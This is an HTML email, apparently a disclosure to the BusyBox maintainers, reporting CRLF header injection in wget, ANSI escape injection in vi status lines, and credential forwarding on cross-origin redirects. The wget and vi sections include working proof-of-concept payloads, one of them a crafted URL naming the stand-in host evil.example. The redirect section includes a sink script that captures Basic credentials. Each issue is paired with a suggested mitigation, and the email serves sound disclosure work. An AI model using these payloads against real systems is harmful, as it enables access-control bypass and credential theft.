<div dir="ltr">  Hi BusyBox team,<br><br>I’d like to report a few issues I observed while testing BusyBox. They may or may not be considered security-critical depending on your threat model, but I’m sharing them for review. If I’ve misunderstood anything, please let me know.<br>I'm not a big busybox contributor so I could be mistaken. Sorry.<br><br>Ubuntu 22.04<br>busybox 1.38.0<br><br>1) wget: header injection via unsanitized URL components<br><br>Summary:<br>wget places the URL path (and, in proxy mode, the absolute URI) directly into the HTTP request line without sanitizing control characters. If an attacker can influence the URL given to BusyBox wget, they can inject arbitrary request headers (CRLF injection). This works both with and without an HTTP proxy; the proxy in the PoC is only to make the raw request easy to observe.<br><br>Impact (examples):<br>By injecting headers such as Authorization, Cookie, X-Forwarded-For, or custom allow-listing headers (e.g., X-Secret), a request may bypass application-level checks, alter routing, or pollute caches depending on the environment.<br><br>This attack is possible simply by including user input in the URL.<br><br>PoC<br><br># poc.py<br>from http.server import BaseHTTPRequestHandler, HTTPServer<br><br>class H(BaseHTTPRequestHandler):<br>    def do_GET(self):<br>        need = "X-Secret"<br>        print(self.headers)<br>        if self.headers.get(need) == "yes":<br>            self.send_response(200); self.end_headers(); self.wfile.write(b"OK\n")<br>        else:<br>            self.send_response(403); self.end_headers(); self.wfile.write(b"NO\n")<br><br>HTTPServer(("127.0.0.1", 9000), H).serve_forever()<br><br># terminal 1<br>$ python3 poc.py<br><br># terminal 2<br>$ unset http_proxy<br>$ export http_proxy=<a href="http://127.0.0.1:9000/" target="_blank">http://127.0.0.1:9000</a><br>$ BAD_URL=$'<a href="http://evil.example/reset?token=" target="_blank">http://evil.example/reset?token=</a> HTTP/1.1\r\nX-Secret: yes\r\na:'<br>$ ./busybox wget "$BAD_URL" -O -<br><br><br>Observed (server side):<br><br>X-Secret: yes<br>a: HTTP/1.1<br>Host: evil.example<br>User-Agent: Wget<br>Connection: close<br><br><br>This demonstrates successful header injection (X-Secret: yes). The same approach also works without a proxy (origin-form), e.g. using a direct URL to <a href="http://127.0.0.1:9000/" target="_blank">http://127.0.0.1:9000/.</a>.. with the CRLF payload in the path.<br><br>Suggested mitigation (minimal):<br><br>Reject control characters and whitespace (SP/HT/CR/LF) in host and path before composing the request line.<br><br>Optionally percent-encode unsafe bytes in the path/query to improve compatibility while preventing request splitting.<br><br>2) vi: ANSI escape sequences shown in status/error lines<br><br>Summary:<br>BusyBox vi appears to sanitize most editor messages, but the status line and error message line still render ANSI escape sequences. A crafted filename can trigger terminal control sequences.<br><br>Example:<br><br>$ busybox vi $'\033[2J\033[Hevil.txt'<br><br><br>This clears the screen via the status/error output. I haven’t developed a concrete exploitation scenario, but it creates terminal spoofing / UX risks (e.g., misleading prompts or hiding warnings). It may be related to recent discussions around ANSI handling (e.g., CVE-2024-58251), though this is specifically about the vi status/error lines.<br><br>Suggested mitigation:<br><br>Strip or escape control characters in all user-controlled strings rendered in vi’s status and error lines (consistent with other message sanitization).<br><br>3) wget: credential forwarding on cross-origin redirect (behavior similar to CVE-2021-31879)<br><br>Summary:<br>When fetching http://user:pass@origin/start, a 302 redirect to another origin results in the Authorization: Basic ... header being sent to the new origin. This matches the class of issues described in CVE-2021-31879 for other clients.<br><br>PoC<br><br># redirect_and_sink.py<br>from http.server import BaseHTTPRequestHandler, HTTPServer<br>import threading<br><br>class Origin(BaseHTTPRequestHandler):<br>    def do_GET(self):<br>        self.send_response(302)<br>        self.send_header('Location', '<a href="http://127.0.0.1:8001/collect" target="_blank">http://127.0.0.1:8001/collect</a>')<br>        self.end_headers()<br><br>class Sink(BaseHTTPRequestHandler):<br>    def do_GET(self):<br>        print("=== [SINK] received request ===")<br>        print("Path:", self.path)<br>        print("Authorization:", self.headers.get('Authorization'))<br>        self.send_response(200)<br>        self.end_headers()<br>        self.wfile.write(b'ok\n')<br><br>def run():<br>    threading.Thread(target=lambda: HTTPServer(('127.0.0.1', 8000), Origin).serve_forever(),<br>                     daemon=True).start()<br>    HTTPServer(('127.0.0.1', 8001), Sink).serve_forever()<br><br>if __name__ == "__main__":<br>    run()<br><br># terminal 1<br>$ python3 redirect_and_sink.py<br><br># terminal 2<br>$ busybox wget <a href="http://user:pass@127.0.0.1:8000/start" target="_blank">http://user:pass@127.0.0.1:8000/start</a> -O -<br><br><br>Observed (sink):<br><br>=== [SINK] received request ===<br>Path: /collect<br>Authorization: Basic dXNlcjpwYXNz<br><br><br>Suggested mitigation:<br><br>Clear Authorization (and proxy-auth) headers on redirects to a different host/port/scheme unless explicitly allowed.<br><br>Closing<br><br>I don't know if this is by design or unintended behavior, but I hope this helps.<br><br>Best regards,<div class="gmail-yj6qo"></div><div class="gmail-adL"><br></div></div>